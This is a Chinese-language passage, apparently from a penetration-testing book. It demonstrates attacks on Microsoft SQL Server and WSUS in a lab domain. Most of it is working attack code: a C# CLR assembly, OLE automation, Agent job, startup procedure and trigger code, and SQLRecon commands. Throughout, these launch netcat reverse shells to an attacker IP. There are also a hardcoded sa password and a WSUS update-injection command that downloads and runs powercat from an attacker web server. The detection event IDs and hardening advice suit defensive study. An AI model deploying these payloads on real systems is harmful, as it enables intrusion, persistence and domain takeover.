Get-SQLQuery -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s" -Query "sp_addextendedproc 'xp_shell', 'C:\Users\Public\xp_shell.dll'"
Get-SQLStoredProcedureXP -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s"
Get-SQLQuery -Instance BRAAVOS\SQLEXPRESS -Username sa -Password "sa_P@ssw0rd!Ess0s" -Query "EXEC xp_shell"
不幸的是,自动创建的 PowerUpSQL DLL 在实验室中的目标机器上并未执行,即使通过 rundll32
命令也是如此。令人惊讶的是,同样的 DLL 在 Windows 10 机器上运行良好,如下所示:
图 9.14 – DLL 生成了一个反向 shell
成功加载的 DLL 生成事件 ID 33090
,如下截图所示:
图 9.15 – DLL 成功加载到内存中
失败的尝试将生成 ID 为 17750
的错误。通过关联这两个事件,如果环境中有预定义的 DLL 名单,可以基于 DLL 名称构建检测。
自定义 CLR 程序集
公共语言运行时(CLR) 程序集是一个可以导入到 SQL Server 的 .NET DLL。导入后,DLL 方法可以链接到存储过程。在这种情况下,攻击分为两步——启用 CLR 和实际执行。一个很好的分步博客帖子详细说明了这个过程,作者是 NetSPI[20]。C# 代码被编译成 DLL 并导入到 SQL Server。以下查询可以执行操作系统命令:
use msdb
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'clr enabled',1
RECONFIGURE
CREATE ASSEMBLY my_evil FROM 'C:\Users\Public\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_evil].[StoredProcedures].[cmd_exec];
该方法的另一个优点是,可以仅在内存中使用 DLL 的十六进制表示,而不需要接触磁盘。
还有两个需要注意的事项。此技术要求设置TRUSTWORTHY
属性,这就是为什么我们使用默认具有此属性的msdb
数据库。此外,clr strict security
选项是微软引入的[21]。默认情况下,alter/create
程序集语句中的permission_set
选项将被忽略。要关闭此选项,需要通过sp_configure
重新配置 CLR 严格安全设置。
为了演示,我们将结合使用 SQLRecon 和 PowerUpSQL 中的Create-SQLFileCLRDll
函数来获得一个交互式反向 Shell。第一步是通过以下命令启用 CLR:
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:EnableClr
然后,我们使用Create-SQLFileCLRDll
函数生成自定义程序集的代码:
Create-SQLFileCLRDll -OutFile runcmd -OutDir . -AssemblyName "runcmd" -AssemblyClassName "StoredProcedures" -AssemblyMethodName "cmd_exec"
让我们修改生成的.csc
文件。以下代码效果非常好:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec ()
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C C:\Users\Public\nc.exe -e cmd 192.168.56.100 443");
proc.Start();
proc.WaitForExit();
proc.Close();
}
};
以下两个命令将编译上面的代码为 DLL,SQLRecon 将自动化其余的过程:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Users\Public\runcmd.csc
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:Clr /dll:runcmd.dll /function:cmd_exec
请注意,SQLRecon 通过将程序集添加到信任列表来绕过clr strict security
选项:
图 9.16 – 自定义 CLR 成功执行反向 Shell
结果,我们在目标上获得了一个交互式 Shell:
图 9.17 – 数据库服务器上的交互式反向 Shell
这个功能也在 Metasploit 模块exploit/windows/mssql/mssql_clr_payload
和另一个 PowerShell 工具SeeCLRly
[22]中实现。
为了列出并导出现有的 CLR 程序集,PowerUpSQL 实现了Get-SQLStoredProcedureCLR
函数。我们可以使用dnSpy
反编译器修改导出的 CLR DLL,然后重新上传它,覆盖现有的文件,以实现隐蔽持久化。
通过事件 ID 15457
可以进行攻击检测,因为攻击者必须使用sp_configure
。程序集创建将生成事件 ID 6299
,卸载程序集将生成事件 ID 10310
,卸载确认将生成事件 ID 6290
。通过关联和串联这四个事件,可以帮助可靠地检测恶意活动。
OLE 自动化过程
对象链接与嵌入(OLE)技术允许你将一个应用程序中的对象链接到另一个应用程序中。OLE 自动化过程帮助 SQL Server 与 COM 对象进行交互。组件对象模型(COM)允许二进制软件组件之间的交互。OLE 自动化过程通过odsole70.dll
与 COM 进行交互[23]。以下是可以用于命令执行的过程列表:
-
sp_OACreate
– 创建一个 OLE 对象实例 -
sp_OAMethod
– 调用 OLE 对象方法 -
sp_OADestroy
– 销毁一个创建的 OLE 对象 -
sp_OASetProperty
– 设置 OLE 对象属性
一些实际的 OLE 使用示例包括在 Web 服务器上创建 Web Shell、下载恶意软件、在文件系统中移动文件和执行命令。PowerUpSQL 中的Invoke-SQLOSCmdCLR
函数将启用 OLE 自动化,执行命令,从临时文件读取命令输出,然后删除该文件。Metasploit 的admin/mssql/mssql_exec
模块也可以切换到使用sp_OACreate
过程。然而,是否能够获取结果将取决于攻击者使用的方法——例如,使用OPENROWSET()
函数。以下是通过 SQLRecon 和nc.exe
帮助获取交互式反向 Shell 的命令:
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:enableole
SQLRecon.exe /auth:Local /host:braavos.essos.local /username:sa /password:"sa_P@ssw0rd!Ess0s" /module:olecmd /command:"C:\Users\Public\nc.exe -e cmd 192.168.56.100 443"
成功执行的结果如下截图所示:
图 9.18 – 通过 OLE 自动化过程执行操作系统命令
手动获取反向 Shell 的代码如下所示:
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("cmd.exe /c C:\Users\Public\nc.exe -e cmd 192.168.56.100 443")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
与 CLR 执行一样,无法完全防止这种攻击。建议禁用 OLE 自动化,并移除用户存储过程的执行权限。可以通过对所有上述执行方法的sp_configure
事件监控来进行检测。此外,当odsole70.dll
加载到内存中时,事件 ID 33090
将被生成,而当sp_OACreate
被执行时,将生成事件 ID 8128
。
代理作业
SQL Server Agent 是一个 Windows 服务,用于执行自动化任务。代理作业将在 SQL Server Agent 服务下运行,或者可以利用代理代理功能,这意味着作业将在不同的用户上下文中运行。可以通过sp_start_job
存储过程手动启动作业、安排作业或在特定条件满足时执行作业。要创建一个作业,需要sysadmin
角色或msdb
数据库中的SQLAgentUserRole
、SQLAgentReaderRole
和SQLAgentOperatorRole
固定数据库角色。许多作业类型,如 CmdExec、PowerShell、ActiveX 脚本和 SQL Server 集成服务,支持命令执行。利用作业功能需要以下步骤:
-
sp_add_job
– 创建一个作业 -
sp_add_jobstep
– 添加作业步骤 -
sp_start_job
– 运行一个作业 -
sp_delete_job
– 删除作业
在 Optiv 博客文章[24]中展示了一个逐步创建 PowerShell 作业的精彩示例。让我们为 CmdExec 创建一个作业以获取反向 Shell:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC SP_CONFIGURE 'Agent XPs', 1
RECONFIGURE
USE msdb
EXEC dbo.sp_add_job @job_name = N'rev_shell'
EXEC sp_add_jobstep @job_name = N'rev_shell', @step_name = N'run_nc',
@subsystem = N'cmdexec', @command = N'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'rev_shell'
EXEC dbo.sp_start_job N'rev_shell'
EXEC dbo.sp_delete_job @job_name = N'rev_shell'
不幸的是,这段代码在我们的实验室中无法运行,因为 SQL Server Agent 服务无法启动。原因是 Agent 作业仅在付费版 MS SQL Server 中支持,而在 Express 版中不支持。然而,展示这种攻击向量也是很有意义的。像往常一样,PowerUpSQL 中有一个函数(Invoke-SQLOSCmdAgentJob)和 SQLRecon 中的两个模块(AgentStatus
和AgentCmd)可以自动化该任务。攻击者可以通过添加一个步骤到现有作业中,而不是创建一个新的作业。要列出所有作业,可以使用 PowerUpSQL 中的Get-SQLAgentJob
函数或以下查询:
SELECT
job.job_id, notify_level_email, name, enabled,
description, step_name, command, server, database_name
FROM
msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id
预防建议包括禁用 SQL Server Agent 服务(如果没有使用的话),并限制具有SQLAgentUserRole
、SQLAgentReaderRole
和SQLAgentOperatorRole
固定数据库角色的用户。
外部脚本
还有一种方法可以借助机器学习服务功能运行命令。它使你能够运行 R 和 Python 脚本。安装此功能需要 SQL Server 的付费版本。在我们的例子中,我们将使用免费的 Express 版本,并简要了解可用的运行命令的方法。首先,要启用外部脚本,需要sysadmin
权限,并进行服务器级别的更改(sp_configure 'external scripts enabled')。这两种语言有许多运行任意代码的方法,从 UNC 路径注入到完全交互式 Shell。一些有趣的示例可以在[25]和[26]中找到。PowerUpSQL 中的Invoke-SQLOSCmdR
和Invoke-SQLOSCmdPython
函数也可以自动化利用过程。
在接下来的部分,我们将探讨攻击者如何在目标环境的域和数据库层面进行横向移动。
横向移动
正如我们在第五章中看到的,理解攻击者如何滥用合法的应用程序和协议以在目标环境内扩展是至关重要的。SQL Server 还通过两种技术拓宽了横向移动的场景。一种是常见的,叫做共享服务账户。另一种则是 SQL Server 特有的——滥用数据库链接。我们将快速探讨第一个方法,重点关注第二种方法。我们将检查如何对链接服务器进行枚举、执行代码并提取明文硬编码凭证。
共享服务账户
在整个环境中使用共享服务账户可能会导致灾难性的后果。如果一个服务账户通过 Kerberoasting、UNC 路径注入或其他任何方式被攻破,这意味着所有使用该账户的实例都会被攻破。此外,服务账户默认在数据库和 SQL Server 级别具有sysadmin
权限,并且可能在底层操作系统上具有广泛的权限。为了防止这种强大的横向移动,所有服务账户应在整个环境中保持唯一,并使用 gMSA。
数据库链接
什么是数据库链接?简单来说,它是两个或多个服务器之间的持久连接。它们允许你访问外部数据源,并且如果源是 SQL Server,还可以执行存储过程。链接即使跨越森林信任,也能正常工作,有时它可能是进入另一个域或森林的唯一途径。链接的配置方式有两种——使用当前登录用户的上下文或硬编码凭据。对链接服务器的查询是以用于配置链接的用户凭据执行的。实际上,这是冒充用户。链接可以被爬取,意味着攻击者可以从一个 SQL Server 跳到另一个 SQL Server。我们需要了解我们是谁,进行枚举,并寻找权限提升或横向移动的选项。
理想的攻击场景是识别链接服务器,检查用户帐户权限,验证RPC Out
值,并启用xp_cmdshell
以获得命令执行权限。RPC Out
允许在指定的链接服务器上运行存储过程,并且只能通过sysadmin
权限启用,使用sp_serveroption
过程。如果RPC Out
被禁用,即使拥有sysadmin
权限,也无法在链接服务器上启用xp_cmdshell
。原因是,通过openquery()
运行的查询不需要执行RECONFIGURE
。
PowerUpSQL 有两个功能(Get-SQLServerLink
和Get-SQLServerLinkCrawl)可以帮助识别链接。Metasploit 有自己的模块,叫做exploit/windows/mssql/mssql_linkcrawler
,可以完全自动化地部署有效载荷。攻击步骤如下:找到链接服务器,枚举它,了解登录上下文,然后提升权限和/或进行横向移动。
我们将在本节中使用 SQLRecon。我以jon.snow
身份登录,使用以下命令执行上述所有操作:
SQLRecon.exe /a:WinToken /h:castelblack /m:whoami
SQLRecon.exe /a:WinToken /h:castelblack /m:links
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lwhoami
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lcheckrpc
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lenablexp
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lxpcmd /c:"C:\Users\Public\nc.exe -e cmd 192.168.56.100 443"
以下是执行在链接服务器上的命令输出:
图 9.19 – 链接服务器枚举
成功的命令执行为我们提供了目标的交互式 Shell:
图 9.20 – 链接服务器上的交互式反向 Shell
在本节的开始,我们提到过硬编码凭据。如果 SQL Server 凭据用于创建链接,这些凭据会以加密格式存储,因此可以以明文形式提取[27]。成功提取要求在 专用管理连接(DAC)上的所有数据库实例中拥有 sysadmin
权限,并且在服务器本地具有管理员权限,以访问注册表中的熵字节。这些字节用于加强加密并存储在注册表中。该脚本还会从几个表中提取数据。如果一切顺利,你将提取到明文密码。
另一个有趣的使用场景是通过 OpenQuery 进行 LDAP 枚举[28]。在开始之前,我们需要一组有效的域凭据。可以通过破解 NTLMv2 挑战,进行 UNC 路径注入攻击后获得,或者简单地利用 SQL 服务的域帐户。基本思想是建立一个 Active Directory 服务接口(ADSI)链接服务器,并通过 OpenQuery 执行 LDAP 查询:
EXEC master.dbo.sp_addlinkedserver @server = N'ENUM',
@srvproduct=N'Active Directory Service Interfaces',
@provider=N'ADSDSOObject', @datasrc=N'adsdatasource';
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname = N'ENUM',
@locallogin = NULL , @useself = N'True';
(SELECT * FROM OPENQUERY(DEMO, 'SELECT sAMAccountName,
userAccountControl FROM ''LDAP://north.sevenkingdoms.local/DC=north,DC=sevenkingdoms,DC=local''
WHERE objectCategory = ''Person'' AND objectClass = ''user'''))
结果如以下截图所示:
图 9.21 – 通过 OpenQuery 进行域用户枚举
为了防止链接滥用,移除未使用的链接,并检查链式链接。确保链接没有配置 sysadmin
或过于宽松的权限。考虑禁用 RPC Out
。
以下部分将展示如何通过使用 SQL Server 的合法功能,在 SQL Server 和操作系统层面实现持久性。
持久性
既然我们已经了解了域和域控制器级别的持久性,为什么还要关心 SQL Server 呢?大多数侦测控制措施是在操作系统层面实现的,而数据库审计则不太常见且不够彻底。SQL Server 服务帐户可能在操作系统上拥有广泛的权限,这为攻击者提供了一个绝佳的藏身之处,因为所有可疑的操作都会被记录为由服务帐户执行的。最后,即使在繁忙的数据库上启用了审计和监控,也很难将合法活动与恶意活动区分开。我们将从通过自动运行在操作系统层面实现持久性的最吵杂且不安全的方式开始,然后逐步过渡到 SQL Server 层面,使用启动程序和触发器。
文件和注册表自动运行
这两种方法在操作安全性上非常不安全,因为 Startup
文件夹和注册表项通常会被安全解决方案(如 Sysmon 和 EDR)监控。在这些位置写入文件,使用 SQL Server 服务帐户,可能会被视为合法行为。再说一次,强烈不推荐这么做。
我们将从写入文件到 Startup
文件夹开始。如果 SQL Server 服务帐户在主机上配置了广泛的权限,便可以将文件放入具有高权限用户的文件夹,甚至是所有用户的文件夹。必须提前启用 OLE 自动化过程。以下代码将在 sql_svc
的 Startup
文件夹中创建一个批处理文件,该文件将与我们的机器建立连接:
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rev.bat', 2, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
在 sql_svc
的下次登录时,我们会收到连接,如下图所示:
图 9.22 – 来自启动文件夹中文件的反向 shell
SQL Server 还允许你通过存储过程与注册表交互——xp_regwrite
、xp_regread
和 xp_regdeletekey
。执行这些存储过程需要sysadmin
权限。然而,在操作系统层面,这还不够——例如,写入 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run hive
需要本地管理员权限。PowerUpSQL 有三个使用注册表来实现持久化的功能:
-
Get-SQLPersistRegDebugger
– 为辅助功能选项设置自定义调试器 -
Get-SQLPersistRegRun
– 在自动运行键中写入有效载荷 -
Get-SQLRecoverPwAutoLogon
– 读取自动登录密码
现在,让我们来看看一些在数据库级别持久化的更加安全的 OpSec 选项。
启动存储过程
如你从这种类型的过程名称中可以猜到的,它会在 SQL Server 启动或重启时运行。所有此类过程都在 sa
登录下运行,必须由 sa
拥有,并且必须位于 master 数据库中。为了标记一个过程为自动执行,sysadmin
权限是必需的,但不一定是 sa
。过程不能接受任何输入/输出参数。以下代码创建了我们的恶意过程(sp_rev_shell),标记其为自动执行,并列出自动执行的存储过程:
USE master
CREATE PROCEDURE sp_rev_shell
AS
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
EXEC sp_procoption @ProcName = 'sp_rev_shell', @OptionName = 'startup', @OptionValue = 'on';
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
SQL Server 服务重启后,反向 shell 被执行:
图 9.23 – 通过启动存储过程实现持久化
还有一个 PowerShell 脚本,自动化这些操作[30]。它包含三种持久化场景——创建一个新的 SQL Server sysadmin
登录,创建一个 Windows 本地管理员帐户,以及运行 PowerShell 命令:
Invoke-SqlServer-Persist-StartupSp -SqlServerInstance BRAAVOS\SQLEXPRESS -NewSqlUser evil -NewSqlPass evil123! -Verbose
脚本执行结果如下所示:
图 9.24 – 完全自动化的 sysadmin 用户创建
这种方法的主要缺点是我们必须等待 SQL Server 的维护。NetSPI 的博客文章[29]展示了如何启用服务器级别和数据库级别的审计功能。它们可以检测使用sp_procoption
过程(事件 ID 33205)、启动恶意启动过程(事件 ID 17135)以及使用 sysadmin
权限的 SQL Server 新登录(事件 ID 33205)。最后,如果攻击者决定更改或删除审计设置,事件 ID 33205
将会生成。
恶意触发器
什么是触发器?根据 Microsoft 的定义,“触发器是一种特殊类型的存储过程,当数据库服务器中发生某个事件时,它会自动运行”[31]。触发器有三种类型,依据执行条件的不同而有所区别:
-
数据定义语言(DDL)–
CREATE
、ALTER
和DROP
语句 -
数据操作语言(DML)–
INSERT
、UPDATE
和DELETE
语句 -
登录触发器 – 一个登录事件
DDL 触发器适用于服务器和数据库级别。有很多 DDL 事件和事件组[32]可以用来创建触发器。在繁忙的环境中,有些事件可能每隔几分钟就会发生,因此需要谨慎选择。触发器的创建就像下面的代码一样简单:
CREATE TRIGGER [ddl_persist]
ON DATABASE
FOR DROP_TABLE
AS
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
DML 触发器仅在数据库级别工作。我们将选择一个语句和表。一个重要的警告是,与目标表一起工作的用户可能没有足够的权限执行诸如运行 xp_cmdshell
之类的操作。NetSPI 在其博客[33]中建议,应该为所有用户授予 sa
模拟权限,或者使用代理账户执行 xp_cmdshell
。以下代码将创建一个 DML 触发器:
CREATE TRIGGER [dml_persist]
ON new.dbo.player
FOR INSERT, UPDATE, DELETE
AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
登录触发器用于根据特定条件防止用户登录。攻击者可以创建一个低权限的假账户,并在需要保持持久性时使用它,而不是使用真实的用户登录。这样的触发器代码不言自明:
CREATE LOGIN [fake] WITH PASSWORD = 'fake123!'
CREATE TRIGGER [logon_persist]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'fake'
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
END
尝试使用假账户登录会触发连接,但也会在日志中留下一个错误,事件 ID 为17892
。启用审计功能后,触发器创建代码将在事件 ID 33205
中完全记录。
摘要
总结来说,有很多原因让对手选择 SQL Server 作为一个有价值的目标。我们通过实践演示了如何对数据库服务器进行枚举。我们深入探讨了各种权限提升技巧,不仅仅局限于数据库级别。通过从一个低权限的公共账户逐步迁移到SYSTEM
,我们涵盖了攻击者的“杀链”。接着,演示了多种操作系统命令执行技巧,以帮助我们理解应用程序与宿主操作系统的集成程度。此外,我们还看到,如果数据库链接配置不当,攻击者可能会利用这些链接进行横向移动。最后,我们讨论了操作系统和数据库层面的持久化技术。对可用数据库功能的深入理解,可能会使一方相对于另一方占据优势。
进一步阅读
以下是一些进一步学习的资料,帮助你更深入理解本章中涉及的攻击:
-
SQL Server 网络端口:
www.mssqltips.com/sqlservertip/7212/sql-server-port-explanation-usage/
-
SQL Server 2022 新的固定服务器级角色:
learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver16
-
SQL Server 2022 之前的固定服务器级角色:
www.mssqltips.com/sqlservertip/1887/understanding-sql-server-fixed-server-roles/
-
SQLRecon 工具:
github.com/skahwah/SQLRecon
-
PowerUpSQL 工具:
github.com/NetSPI/PowerUpSQL
-
PowerUpSQL 备忘单:
github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
-
HeidiSQL 工具: https://www.heidisql.com/
-
MS SQL Server 枚举: https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#common-enumeration
-
MS SQL Server 枚举 2: https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/mssql#enumeration
-
从
db_owner
脚本提升权限: https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 -
MS SQL Coerce: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
-
JuicyPotato: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato
-
RoguePotato, PrintSpoofer, SharpEfsPotato 和 GodPotato:
book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer
-
从本地管理员获取 SQL Server
sysadmin
权限:www.netspi.com/blog/technical/network-penetration-testing/get-sql-server-sysadmin-privileges-local-admin-powerupsql/
-
从
master.mdf
文件中提取 SQL Server 哈希值:xpnsec.tumblr.com/post/145350063196/reading-mdf-hashes-with-powershell
-
Invoke-MDFHashes
:github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes
-
自定义扩展存储过程 DLL 模板:
raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp
-
SQL Server CLR 程序集:
www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/
-
SeeCLRly 工具:
github.com/sekirkity/SeeCLRly
-
利用 OLE 自动化:
www.imperva.com/blog/how-to-exploit-sql-server-using-ole-automation/
-
代理作业命令执行:
www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution
-
外部脚本执行:
cheats.philkeeble.com/active-directory/mssql#external-scripts
-
Beyond xp_cmdshell 由 nullbind 提供:
www.slideshare.net/nullbind/beyond-xpcmdshell-owning-the-empire-through-sql-server
-
解密链接服务器密码:
www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/
-
通过 OpenQuery 进行 LDAP 枚举:
keramas.github.io/2020/03/28/mssql-ad-enumeration2.xhtml
-
通过启动存储过程保持持久性:
www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
-
Invoke-SqlServer-Persist-StartupSp
脚本:github.com/NetSPI/PowerUpSQL/blob/master/scripts/pending/Invoke-SqlServer-Persist-StartupSp.psm1
-
触发器:
learn.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-ver16
-
DDL 事件组:
learn.microsoft.com/en-us/sql/relational-databases/triggers/ddl-event-groups?view=sql-server-ver16
第十章:接管 WSUS 和 SCCM
在本书的最后一章中,我们将重点攻击基础设施管理解决方案。这些系统是对攻击者非常有价值和有吸引力的目标,因为这些系统通常由高度特权账户操作,几乎可以访问目标环境的所有部分。Windows 服务器更新服务(WSUS)是一种以集中方式向客户端计算机部署更新的服务。Microsoft Endpoint Configuration Management
(MECM)——前身为System Center Configuration Manager
(SCCM)——是一种本地端点管理解决方案。该产品帮助 IT 专业人员进行系统清单管理、补丁管理、软件部署等。
我们将从讨论已知的针对 WSUS 的攻击开始,然后展示如何利用它进行横向移动。然而,本章的主要重点是 SCCM。在介绍和必要的理论之后,我们将进入部署阶段。当我们的实验室准备好后,就可以再次走过攻击链:侦察、特权提升和横向移动。像往常一样,我们的主要关注点将是特定服务的技术。我们将以防御性建议结束本章。
本章将涵盖以下主要内容:
-
滥用 WSUS
-
MECM/SCCM 的介绍和部署
-
侦察
-
特权提升
-
横向移动
-
防御性建议
技术要求
本章您需要访问以下内容:
-
VMware Workstation 或 Oracle VirtualBox,至少 16 GB 的 RAM,8 个 CPU 核心,至少 55 GB 的总空间(如果进行快照,则需要更多空间)
-
强烈推荐使用基于 Linux 的操作系统
-
我们将从 GOADv2 项目中使用 DC01、SRV01
-
我们将从 DetectionLab 使用 DC、WEF、Win10。
滥用 WSUS
在大多数企业环境中,更新是由管理员集中分发和安装的。对于基于 Windows 的基础设施,推荐的方法是在网络中的一台服务器上安装 WSUS 服务器角色,并强制客户端和服务器使用它作为更新的来源。WSUS 有助于消除缺少补丁所带来的风险,但也可能成为攻击的目标。原因很简单:攻击者可以利用它分发恶意代码,这些代码将被自动下载并安装,看起来合法且值得信赖。客户端将通过查询HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
中的注册表键值获取关于 WSUS 服务器的所有必要信息。从本质上讲,WSUS 是一个简单对象访问协议(SOAP)XML Web 服务。所有更新必须由微软签名,WSUS 会检查每个更新的数字签名和哈希值。然而,传输层安全性(TLS)默认情况下没有启用,这为攻击者提供了第一个可乘之机。
未加密的通信可能导致中间人(
MitM)攻击,具体取决于攻击者在网络中的位置。首先,我们需要检查WUServer
注册表值是否包含 HTTP 协议,这意味着 TLS 未启用,攻击是可能的。然后,我们可以尝试进行地址解析协议(
ARP)欺骗,并传递签名二进制文件,例如PsExec
。攻击分为两部分——MitM 和分发。GoSecure
开发了一种恶意更新分发工具,名为PyWSUS
[1]。为了执行 MitM 攻击,研究中推荐了bettercap
[2][3]。
另一个我们不应忽视的攻击面是客户端本身的漏洞。例如,CVE-2020-1013 允许我们修改本地用户的代理设置,从而可以在本地运行PyWSUS
,以SYSTEM
权限在机器上执行代码。执行此攻击的工具——名为WSuspicious
——已发布在GoSecure的 GitHub 仓库[4]中。
此外,如果我们针对任何基于 Windows 的环境,新技术 LAN 管理器(
NTLM)中继攻击总是在某个地方潜伏。如前所述,我们可以将客户端的 WSUS 请求重定向到恶意的 WSUS 服务器,因此没有任何东西阻止我们请求 NTLM 身份验证,客户端将自动执行此操作。
注意
该技术由GoSecure在这里描述:www.gosecure.net/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks/
。
到目前为止描述的所有攻击的主要结论是,确保 WSUS 更新仅通过安全的 HTTPS 传输进行。
我们的攻击范围内的最后一个攻击是如果攻击者已入侵 WSUS 服务器本身,则向客户端分发恶意更新。为此,我们将在castelrock.sevenkingdoms.local
上部署 WSUS,并在kingslanding.sevenkingdoms.local
上安装恶意更新,获得反向 Shell。我们需要根据 Microsoft 提供的指南[5]在实验室中部署 WSUS。
角色安装很简单。接下来的步骤是服务配置。我们将取消选中所有操作系统版本和软件的更新目标列表,因为我们不希望 WSUS 从互联网上拉取更新。最后,我们需要配置组策略,使域控制器(
DC)从 WSUS 拉取更新[6]。值得一提的是,在组策略参数中,我们必须使用完全限定域名(
FQDN)和端口号来指定 WSUS 服务器。
为了攻陷 DC,我们可以利用SharpWSUS
[7]或wsuspendu
[8]工具。计划是将反向 Shell 脚本托管在我们的 Web 服务器上,并使用PsExec
[9]作为有效载荷下载并执行它(因为它由 Microsoft 签名)。
.\wsuspendu.ps1 -Inject -PayloadFile .\ps64.exe -PayloadArgs 'powershell -c "IEX(New-Object System.Net.WebClient).DownloadString(''http://192.168.56.150:8000/powercat.ps1'');powercat -c 192.168.56.150 -p 443 -e cmd"'
Get-WsusUpdate -Approval Unapproved |Approve-WsusUpdate -Action Install -TargetGroupName "DC"
然后,更新被安装到 DC 上,我们获得了作为SYSTEM
的反向 Shell:
图 10.1 – 作为 SYSTEM 在 DC 上的反向 shell
在本节中,我们讨论了 WSUS 最常见的攻陷路径,如中间人攻击(MitM)、缺失的补丁和 NTLM 中继攻击。我们还演示了如何利用被攻陷的 WSUS 进行横向移动,实际上使攻击者有可能完全接管基础设施。
在接下来的部分,我们将介绍微软开发的系统管理软件。它现在被称为 MECM,但我们仍然经常使用旧名称 SCCM。
MECM/SCCM 简介
SCCM 是一款复杂的软件,具有自己的层次结构和术语。我们将从必要的理论开始。本质上,SCCM 采用客户端-服务器架构,其中一个代理程序安装在终端上,然后回调到服务器。
注意
层次结构设计由微软在此处描述:learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/design-a-hierarchy-of-sites
。
在我们的实验室中,我们将部署一个单独的独立主站点。为了在更大的环境中实现可扩展性,可以添加次级站点。另外,如果有多个主站点,就需要一个中央管理站点,该站点仅用于管理站点,而不是客户端。每个站点都有一个三字母的站点代码。客户端根据边界组进行分组,边界组是基于,没错,边界的。网络范围或Active Directory
(AD)组成员资格是边界的典型示例。并且,可以执行发现任务,并根据某些标准自动将客户端分配到组中。管理点(MP)是为客户端提供策略和配置,以便与站点服务器进行通信的角色。默认情况下,它安装在主站点服务器上。接下来,客户端需要知道分发点(DP),才能获取更新、软件等。所有关于客户端的信息都存储在站点数据库服务器上,该服务器是微软的 SQL Server。主服务器和数据库之间的通信由SMS 提供程序组件负责。在我们的实验室中,我们将在主站点服务器上安装 SMS 提供程序和数据库服务器。接下来是一个很好的层次结构可视化图:[10]如下:
图 10.2 – 典型的 SCCM 层次结构
在边界组中的目标机器上,有多种安装客户端的方式。默认方式是客户端推送安装。这使用客户端推送安装账户,它们是具有计算机管理权限的服务账户。在安装过程中,使用该账户进行身份验证并安装客户端。如果配置了几个账户,服务器会依次尝试对每个账户进行身份验证。另一个从攻击者的角度来看很有前景的账户是网络访问账户(NAA)。当非域加入客户端想要从 DP 访问内容时,会使用该账户。
